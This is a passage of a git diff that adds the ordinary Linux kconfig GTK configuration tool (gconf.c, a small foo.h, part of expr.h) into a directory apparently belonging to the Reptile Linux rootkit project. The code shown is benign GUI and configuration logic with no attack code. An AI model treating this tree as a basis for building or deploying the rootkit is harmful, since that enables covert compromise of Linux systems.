E_SYMBOL && e->left.sym == &symbol_no); +} + +#ifdef __cplusplus +} +#endif + +#endif /* EXPR_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/foo.h b/Linux/Rootkits/Reptile/scripts/kconfig/foo.h new file mode 100644 index 0000000..b9cfdf8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/foo.h @@ -0,0 +1,12 @@ +#ifndef __KCONFIG_FOO_H +#define __KCONFIG_FOO_H + +#ifndef __APPLE__ +#include +#endif +#include + +#ifndef PATH_MAX +#define PATH_MAX 1024 +#endif +#endif /* __KCONFIG_FOO_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c new file mode 100644 index 0000000..7cbe68e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c @@ -0,0 +1,1542 @@ +/* Hey EMACS -*- linux-c -*- */ +/* + * + * Copyright (C) 2002-2003 Romain Lievin + * Released under the terms of the GNU GPL v2.0. + * + */ + +#ifdef HAVE_CONFIG_H +# include +#endif + +#include +#include "lkc.h" +#include "images.c" + +#include +#include +#include +#include + +#include +#include +#include +#include + +//#define DEBUG + +enum { + SINGLE_VIEW, SPLIT_VIEW, FULL_VIEW +}; + +enum { + OPT_NORMAL, OPT_ALL, OPT_PROMPT +}; + +static gint view_mode = FULL_VIEW; +static gboolean show_name = TRUE; +static gboolean show_range = TRUE; +static gboolean show_value = TRUE; +static gboolean resizeable = FALSE; +static int opt_mode = OPT_NORMAL; + +GtkWidget *main_wnd = NULL; +GtkWidget *tree1_w = NULL; // left frame +GtkWidget *tree2_w = NULL; // right frame +GtkWidget *text_w = NULL; +GtkWidget *hpaned = NULL; +GtkWidget *vpaned = NULL; +GtkWidget *back_btn = NULL; +GtkWidget *save_btn = NULL; +GtkWidget *save_menu_item = NULL; + +GtkTextTag *tag1, *tag2; +GdkColor color; + +GtkTreeStore *tree1, *tree2, *tree; +GtkTreeModel *model1, *model2; +static GtkTreeIter *parents[256]; +static gint indent; + +static struct menu *current; // current node for SINGLE view +static struct menu *browsed; // browsed node for SPLIT view + +enum { + COL_OPTION, COL_NAME, COL_NO, COL_MOD, COL_YES, COL_VALUE, + COL_MENU, COL_COLOR, COL_EDIT, COL_PIXBUF, + COL_PIXVIS, COL_BTNVIS, COL_BTNACT, COL_BTNINC, COL_BTNRAD, + COL_NUMBER +}; + +static void display_list(void); +static void display_tree(struct menu *menu); +static void display_tree_part(void); +static void update_tree(struct menu *src, GtkTreeIter * dst); +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row); +static gchar **fill_row(struct menu *menu); +static void conf_changed(void); + +/* Helping/Debugging Functions */ + +const char *dbg_sym_flags(int val) +{ + static char buf[256]; + + bzero(buf, 256); + + if (val & SYMBOL_CONST) + strcat(buf, "const/"); + if (val & SYMBOL_CHECK) + strcat(buf, "check/"); + if (val & SYMBOL_CHOICE) + strcat(buf, "choice/"); + if (val & SYMBOL_CHOICEVAL) + strcat(buf, "choiceval/"); + if (val & SYMBOL_VALID) + strcat(buf, "valid/"); + if (val & SYMBOL_OPTIONAL) + strcat(buf, "optional/"); + if (val & SYMBOL_WRITE) + strcat(buf, "write/"); + if (val & SYMBOL_CHANGED) + strcat(buf, "changed/"); + if (val & SYMBOL_AUTO) + strcat(buf, "auto/"); + + buf[strlen(buf) - 1] = '\0'; + + return buf; +} + +void replace_button_icon(GladeXML * xml, GdkDrawable * window, + GtkStyle * style, gchar * btn_name, gchar ** xpm) +{ + GdkPixmap *pixmap; + GdkBitmap *mask; + GtkToolButton *button; + GtkWidget *image; + + pixmap = gdk_pixmap_create_from_xpm_d(window, &mask, + &style->bg[GTK_STATE_NORMAL], + xpm); + + button = GTK_TOOL_BUTTON(glade_xml_get_widget(xml, btn_name)); + image = gtk_image_new_from_pixmap(pixmap, mask); + gtk_widget_show(image); + gtk_tool_button_set_icon_widget(button, image); +} + +/* Main Window Initialization */ +void init_main_window(const gchar * glade_file) +{ + GladeXML *xml; + GtkWidget *widget; + GtkTextBuffer *txtbuf; + GtkStyle *style; + + xml = glade_xml_new(glade_file, "window1", NULL); + if (!xml) + g_error(_("GUI loading failed !\n")); + glade_xml_signal_autoconnect(xml); + + main_wnd = glade_xml_get_widget(xml, "window1"); + hpaned = glade_xml_get_widget(xml, "hpaned1"); + vpaned = glade_xml_get_widget(xml, "vpaned1"); + tree1_w = glade_xml_get_widget(xml, "treeview1"); + tree2_w = glade_xml_get_widget(xml, "treeview2"); + text_w = glade_xml_get_widget(xml, "textview3"); + + back_btn = glade_xml_get_widget(xml, "button1"); + gtk_widget_set_sensitive(back_btn, FALSE); + + widget = glade_xml_get_widget(xml, "show_name1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_name); + + widget = glade_xml_get_widget(xml, "show_range1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_range); + + widget = glade_xml_get_widget(xml, "show_data1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_value); + + save_btn = glade_xml_get_widget(xml, "button3"); + save_menu_item = glade_xml_get_widget(xml, "save1"); + conf_set_changed_callback(conf_changed); + + style = gtk_widget_get_style(main_wnd); + widget = glade_xml_get_widget(xml, "toolbar1"); + +#if 0 /* Use stock Gtk icons instead */ + replace_button_icon(xml, main_wnd->window, style, + "button1", (gchar **) xpm_back); + replace_button_icon(xml, main_wnd->window, style, + "button2", (gchar **) xpm_load); + replace_button_icon(xml, main_wnd->window, style, + "button3", (gchar **) xpm_save); +#endif + replace_button_icon(xml, main_wnd->window, style, + "button4", (gchar **) xpm_single_view); + replace_button_icon(xml, main_wnd->window, style, + "button5", (gchar **) xpm_split_view); + replace_button_icon(xml, main_wnd->window, style, + "button6", (gchar **) xpm_tree_view); + +#if 0 + switch (view_mode) { + case SINGLE_VIEW: + widget = glade_xml_get_widget(xml, "button4"); + g_signal_emit_by_name(widget, "clicked"); + break; + case SPLIT_VIEW: + widget = glade_xml_get_widget(xml, "button5"); + g_signal_emit_by_name(widget, "clicked"); + break; + case FULL_VIEW: + widget = glade_xml_get_widget(xml, "button6"); + g_signal_emit_by_name(widget, "clicked"); + break; + } +#endif + txtbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + tag1 = gtk_text_buffer_create_tag(txtbuf, "mytag1", + "foreground", "red", + "weight", PANGO_WEIGHT_BOLD, + NULL); + tag2 = gtk_text_buffer_create_tag(txtbuf, "mytag2", + /*"style", PANGO_STYLE_OBLIQUE, */ + NULL); + + gtk_window_set_title(GTK_WINDOW(main_wnd), rootmenu.prompt->text); + + gtk_widget_show(main_wnd); +} + +void init_tree_model(void) +{ + gint i; + + tree = tree2 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model2 = GTK_TREE_MODEL(tree2); + + for (parents[0] = NULL, i = 1; i < 256; i++) + parents[i] = (GtkTreeIter *) g_malloc(sizeof(GtkTreeIter)); + + tree1 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model1 = GTK_TREE_MODEL(tree1); +} + +void init_left_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree1_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + + gtk_tree_view_set_model(view, model1); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); + gtk_widget_realize(tree1_w); +} + +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data); + +void init_right_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree2_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + gint i; + + gtk_tree_view_set_model(view, model2); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_pixbuf_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "pixbuf", COL_PIXBUF, + "visible", COL_PIXVIS, NULL); + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Name"), renderer, + "text", COL_NAME, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "N", renderer, + "text", COL_NO, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "M", renderer, + "text", COL_MOD, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "Y", renderer, + "text", COL_YES, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Value"), renderer, + "text", COL_VALUE, + "editable", + COL_EDIT, + "foreground-gdk", + COL_COLOR, NULL); + g_signal_connect(G_OBJECT(renderer), "edited", + G_CALLBACK(renderer_edited), NULL); + + column = gtk_tree_view_get_column(view, COL_NAME); + gtk_tree_view_column_set_visible(column, show_name); + column = gtk_tree_view_get_column(view, COL_NO); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_MOD); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_YES); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_VALUE); + gtk_tree_view_column_set_visible(column, show_value); + + if (resizeable) { + for (i = 0; i < COL_VALUE; i++) { + column = gtk_tree_view_get_column(view, i); + gtk_tree_view_column_set_resizable(column, TRUE); + } + } + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); +} + + +/* Utility Functions */ + + +static void text_insert_help(struct menu *menu) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *prompt = _(menu_get_prompt(menu)); + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, prompt, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, str_get(&help), -1, tag2, + NULL); + str_free(&help); +} + + +static void text_insert_msg(const char *title, const char *message) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *msg = message; + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, title, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, msg, -1, tag2, + NULL); +} + + +/* Main Windows Callbacks */ + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data); +gboolean on_window1_delete_event(GtkWidget * widget, GdkEvent * event, + gpointer user_data) +{ + GtkWidget *dialog, *label; + gint result; + + if (!conf_get_changed()) + return FALSE; + + dialog = gtk_dialog_new_with_buttons(_("Warning !"), + GTK_WINDOW(main_wnd), + (GtkDialogFlags) + (GTK_DIALOG_MODAL | + GTK_DIALOG_DESTROY_WITH_PARENT), + GTK_STOCK_OK, + GTK_RESPONSE_YES, + GTK_STOCK_NO, + GTK_RESPONSE_NO, + GTK_STOCK_CANCEL, + GTK_RESPONSE_CANCEL, NULL); + gtk_dialog_set_default_response(GTK_DIALOG(dialog), + GTK_RESPONSE_CANCEL); + + label = gtk_label_new(_("\nSave configuration ?\n")); + gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog)->vbox), label); + gtk_widget_show(label); + + result = gtk_dialog_run(GTK_DIALOG(dialog)); + switch (result) { + case GTK_RESPONSE_YES: + on_save_activate(NULL, NULL); + return FALSE; + case GTK_RESPONSE_NO: + return FALSE; + case GTK_RESPONSE_CANCEL: + case GTK_RESPONSE_DELETE_EVENT: + default: + gtk_widget_destroy(dialog); + return TRUE; + } + + return FALSE; +} + + +void on_window1_destroy(GtkObject * object, gpointer user_data) +{ + gtk_main_quit(); +} + + +void +on_window1_size_request(GtkWidget * widget, + GtkRequisition * requisition, gpointer user_data) +{ + static gint old_h; + gint w, h; + + if (widget->window == NULL) + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + else + gdk_window_get_size(widget->window, &w, &h); + + if (h == old_h) + return; + old_h = h; + + gtk_paned_set_position(GTK_PANED(vpaned), 2 * h / 3); +} + + +/* Menu & Toolbar Callbacks */ + + +static void +load_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_read(fn)) + text_insert_msg(_("Error"), _("Unable to load configuration !")); + else + display_tree(&rootmenu); +} + +void on_load1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Load file...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(load_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (conf_write(NULL)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); +} + + +static void +store_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_write(fn)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); + + gtk_widget_destroy(GTK_WIDGET(user_data)); +} + +void on_save_as1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Save file as...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(store_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_quit1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (!on_window1_delete_event(NULL, NULL, NULL)) + gtk_widget_destroy(GTK_WIDGET(main_wnd)); +} + + +void on_show_name1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_name = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NAME); + if (col) + gtk_tree_view_column_set_visible(col, show_name); +} + + +void on_show_range1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_range = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NO); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_MOD); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_YES); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + +} + + +void on_show_data1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_value = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_VALUE); + if (col) + gtk_tree_view_column_set_visible(col, show_value); +} + + +void +on_set_option_mode1_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_NORMAL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode2_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_ALL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode3_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_PROMPT; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void on_introduction1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *intro_text = _( + "Welcome to gkc, the GTK+ graphical configuration tool\n" + "For each option, a blank box indicates the feature is disabled, a\n" + "check indicates it is enabled, and a dot indicates that it is to\n" + "be compiled as a module. Clicking on the box will cycle through the three states.\n" + "\n" + "If you do not see an option (e.g., a device driver) that you\n" + "believe should be present, try turning on Show All Options\n" + "under the Options menu.\n" + "Although there is no cross reference yet to help you figure out\n" + "what other options must be enabled to support the option you\n" + "are interested in, you can still view the help of a grayed-out\n" + "option.\n" + "\n" + "Toggling Show Debug Info under the Options menu will show \n" + "the dependencies, which you can then match by examining other options."); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", intro_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_about1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *about_text = + _("gkc is copyright (c) 2002 Romain Lievin .\n" + "Based on the source code from Roman Zippel.\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", about_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_license1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *license_text = + _("gkc is released under the terms of the GNU GPL v2.\n" + "For more information, please see the source code or\n" + "visit http://www.fsf.org/licenses/licenses.html\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", license_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_back_clicked(GtkButton * button, gpointer user_data) +{ + enum prop_type ptype; + + current = current->parent; + ptype = current->prompt ? current->prompt->type : P_UNKNOWN; + if (ptype != P_MENU) + current = current->parent; + display_tree_part(); + + if (current == &rootmenu) + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_load_clicked(GtkButton * button, gpointer user_data) +{ + on_load1_activate(NULL, user_data); +} + + +void on_single_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = SINGLE_VIEW; + gtk_widget_hide(tree1_w); + current = &rootmenu; + display_tree_part(); +} + + +void on_split_clicked(GtkButton * button, gpointer user_data) +{ + gint w, h; + view_mode = SPLIT_VIEW; + gtk_widget_show(tree1_w); + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + gtk_paned_set_position(GTK_PANED(hpaned), w / 2); + if (tree2) + gtk_tree_store_clear(tree2); + display_list(); + + /* Disable back btn, like in full mode. */ + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_full_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = FULL_VIEW; + gtk_widget_hide(tree1_w); + if (tree2) + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_collapse_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_collapse_all(GTK_TREE_VIEW(tree2_w)); +} + + +void on_expand_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + + +/* CTree Callbacks */ + +/* Change hex/int/string value in the cell */ +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data) +{ + GtkTreePath *path = gtk_tree_path_new_from_string(path_string); + GtkTreeIter iter; + const char *old_def, *new_def; + struct menu *menu; + struct symbol *sym; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return; + + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + sym = menu->sym; + + gtk_tree_model_get(model2, &iter, COL_VALUE, &old_def, -1); + new_def = new_text; + + sym_set_string_value(sym, new_def); + + update_tree(&rootmenu, NULL); + + gtk_tree_path_free(path); +} + +/* Change the value of a symbol and update the tree */ +static void change_sym_value(struct menu *menu, gint col) +{ + struct symbol *sym = menu->sym; + tristate newval; + + if (!sym) + return; + + if (col == COL_NO) + newval = no; + else if (col == COL_MOD) + newval = mod; + else if (col == COL_YES) + newval = yes; + else + return; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (!sym_tristate_within_range(sym, newval)) + newval = yes; + sym_set_tristate_value(sym, newval); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll + break; + case S_INT: + case S_HEX: + case S_STRING: + default: + break; + } +} + +static void toggle_sym_value(struct menu *menu) +{ + if (!menu->sym) + return; + + sym_toggle_tristate_value(menu->sym); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll +} + +static gint column2index(GtkTreeViewColumn * column) +{ + gint i; + + for (i = 0; i < COL_NUMBER; i++) { + GtkTreeViewColumn *col; + + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), i); + if (col == column) + return i; + } + + return -1; +} + + +/* User click: update choice (full) or goes down (single) */ +gboolean +on_treeview2_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + +#if GTK_CHECK_VERSION(2,1,4) // bug in ctree with earlier version of GTK + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); +#else + gtk_tree_view_get_cursor(view, &path, &column); +#endif + if (path == NULL) + return FALSE; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return FALSE; + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + col = column2index(column); + if (event->type == GDK_2BUTTON_PRESS) { + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + + if (ptype == P_MENU && view_mode != FULL_VIEW && col == COL_OPTION) { + // goes down into menu + current = menu; + display_tree_part(); + gtk_widget_set_sensitive(back_btn, TRUE); + } else if ((col == COL_OPTION)) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } + } else { + if (col == COL_VALUE) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } else if (col == COL_NO || col == COL_MOD + || col == COL_YES) { + change_sym_value(menu, col); + gtk_tree_view_expand_row(view, path, TRUE); + } + } + + return FALSE; +} + +/* Key pressed: update choice */ +gboolean +on_treeview2_key_press_event(GtkWidget * widget, + GdkEventKey * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + + gtk_tree_view_get_cursor(view, &path, &column); + if (path == NULL) + return FALSE; + + if (event->keyval == GDK_space) { + if (gtk_tree_view_row_expanded(view, path)) + gtk_tree_view_collapse_row(view, path); + else + gtk_tree_view_expand_row(view, path, FALSE); + return TRUE; + } + if (event->keyval == GDK_KP_Enter) { + } + if (widget == tree1_w) + return FALSE; + + gtk_tree_model_get_iter(model2, &iter, path); + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + if (!strcasecmp(event->string, "n")) + col = COL_NO; + else if (!strcasecmp(event->string, "m")) + col = COL_MOD; + else if (!strcasecmp(event->string, "y")) + col = COL_YES; + else + col = -1; + change_sym_value(menu, col); + + return FALSE; +} + + +/* Row selection changed: update help */ +void +on_treeview2_cursor_changed(GtkTreeView * treeview, gpointer user_data) +{ + GtkTreeSelection *selection; + GtkTreeIter iter; + struct menu *menu; + + selection = gtk_tree_view_get_selection(treeview); + if (gtk_tree_selection_get_selected(selection, &model2, &iter)) { + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + text_insert_help(menu); + } +} + + +/* User click: display sub-tree in the right frame. */ +gboolean +on_treeview1_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); + if (path == NULL) + return FALSE; + + gtk_tree_model_get_iter(model1, &iter, path); + gtk_tree_model_get(model1, &iter, COL_MENU, &menu, -1); + + if (event->type == GDK_2BUTTON_PRESS) { + toggle_sym_value(menu); + current = menu; + display_tree_part(); + } else { + browsed = menu; + display_tree_part(); + } + + gtk_widget_realize(tree2_w); + gtk_tree_view_set_cursor(view, path, NULL, FALSE); + gtk_widget_grab_focus(tree2_w); + + return FALSE; +} + + +/* Fill a row of strings */ +static gchar **fill_row(struct menu *menu) +{ + static gchar *row[COL_NUMBER]; + struct symbol *sym = menu->sym; + const char *def; + int stype; + tristate val; + enum prop_type ptype; + int i; + + for (i = COL_OPTION; i <= COL_COLOR; i++) + g_free(row[i]); + bzero(row, sizeof(row)); + + row[COL_OPTION] = 